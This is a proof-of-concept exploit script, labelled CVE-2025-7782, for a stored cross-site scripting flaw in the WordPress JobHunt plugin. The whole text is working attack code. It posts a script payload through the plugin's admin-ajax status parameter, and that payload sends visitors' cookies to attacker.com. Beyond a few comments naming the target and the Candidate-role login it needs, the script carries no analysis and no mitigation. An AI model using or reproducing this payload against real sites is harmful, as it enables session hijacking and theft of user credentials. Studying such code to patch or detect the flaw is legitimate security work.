CVE-2025-7782

import requests # CVE-2025-7782 PoC - Stored XSS via status parameter # Target: WordPress with JobHunt plugin <= 7.7 target_url = "http://target-wordpress-site.com" wp_admin_ajax = f"{target_url}/wp-admin/admin-ajax.php" # XSS payload for stealing cookies xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Prepare the malicious request data = { 'action': 'cs_update_application_status_callback', 'post_id': '123', # Target job posting ID 'status': xss_payload, # XSS injection point 'candidate_id': '456' # Target candidate ID } # Send the exploit request (requires Candidate-level auth) response = requests.post(wp_admin_ajax, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: Attacker needs valid WordPress session with Candidate role

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